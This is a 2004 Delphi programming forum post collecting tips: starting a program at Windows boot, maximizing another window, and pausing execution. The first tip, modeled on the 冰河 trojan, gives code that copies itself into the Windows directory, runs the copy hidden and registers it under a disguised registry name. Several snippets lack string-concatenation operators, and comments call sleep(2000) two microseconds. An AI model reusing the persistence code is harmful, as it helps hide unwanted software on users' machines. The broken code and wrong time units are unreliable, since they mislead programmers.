全國最多中醫師線上諮詢網站-台灣中醫網
發文 回覆 瀏覽次數:1210
推到 Plurk!
推到 Facebook!

delphi使用精典技艺

 
deity
尊榮會員


發表:90
回覆:876
積分:678
註冊:2003-05-09

發送簡訊給我
#1 引用回覆 回覆 發表時間:2004-03-09 23:24:16 IP:218.15.xxx.xxx 未訂閱
摘录一小部分: 问:如何能使程序能在windows启动时自动启动? 答:为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。 加入Registry单元,改写上面的窗口Create事件,改写后的程序如下: procedure TForm1.FormCreate(Sender: TObject); const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; var myname: string; begin {Write by Lovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com} myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename <> GetWindir myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir myname), False);{//将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end; 问:如何能使一个正在运行的程序自动最大化? 答:这是一个例子: var hwndwindow:hwnd; begin hwndwindow:=findwindow(nil,'DELPHI技巧');//DELPHI技艺改成你要最大化的窗口标提. if hwndwindow<>0 then//不等于0则是找到了这个窗体 postmessage(hwndwindow,WM_SYSCOMMAND,SC_MAXIMIZE,0);//用postmessage发送一条最大化消息(SC_MAXIMIZE)到这个窗体的句柄 //****************************************************** //另外postmessage(hwndwindow,wm_close,0,0);为关闭 //如果需要要自己的程序中使程序动态变最大化则用 form1.windowstate:=wsmaximized; //form1为你要最大化的窗口名! //几个要用到的名词: 1.hwnd是句柄的意思,只有先得到了窗体的句柄才能控制它 2.findwindow是找窗体的意思 3.nil是空指针的意思 4.postmessage发送一条消息给一个已找到的窗口句柄. 问:如何使程序在执行过程中暂停一段时间? 答:要使在运行中的程序暂停一段时间可以使用sleep这个关键词,下面是一个例子 procedure TForm1.Button1Click(Sender: TObject); var h,m,s,ms:word; begin Edit1.text:=DateTimeToStr(now); sleep(2000);//2000就表示2个微秒 edit2.text:=DateTimeToStr(now); DecodeTime(strtodatetime(edit2.text)-strtodatetime(edit1.text),h,m,s,ms); showmessage(format('小时:%d',[h]) format('分钟:%d',[m]) format('秒:%d',[s]) format('微秒:%d',[ms])); end; //另外,这也是一个很好的时间相减例子 报告时间的例子: //先定义: var Present: TDateTime;//定义成日期和时间 begin Year, Month, Day, Hour, Min, Sec, MSec: Word;//定义年月日小时分种秒微秒 DecodeTime(Present, Hour, Min, Sec, MSec);//提出小时分种秒微秒,以TDataTime方式 DecodeDate(Present, Year, Month, Day);//提出年月日,以TDataTime方式 Label1.Caption := 'Today is Day ' IntToStr(Day) ' of Month ' IntToStr(Month) ' of Year ' IntToStr(Year);//显示 Label2.Caption := 'The time is Minute ' IntToStr(Min) ' of Hour ' IntToStr(Hour);//显示 end; ======================================================================很多都可以自己举一反三的变通. ——行径窄处,留一步与人行——
附加檔案:46239_GoodArticle.txt
系統時間:2024-07-04 4:47:34
聯絡我們 | Delphi K.Top討論版
本站聲明
1. 本論壇為無營利行為之開放平台,所有文章都是由網友自行張貼,如牽涉到法律糾紛一切與本站無關。
2. 假如網友發表之內容涉及侵權,而損及您的利益,請立即通知版主刪除。
3. 請勿批評中華民國元首及政府或批評各政黨,是藍是綠本站無權干涉,但這裡不是政治性論壇!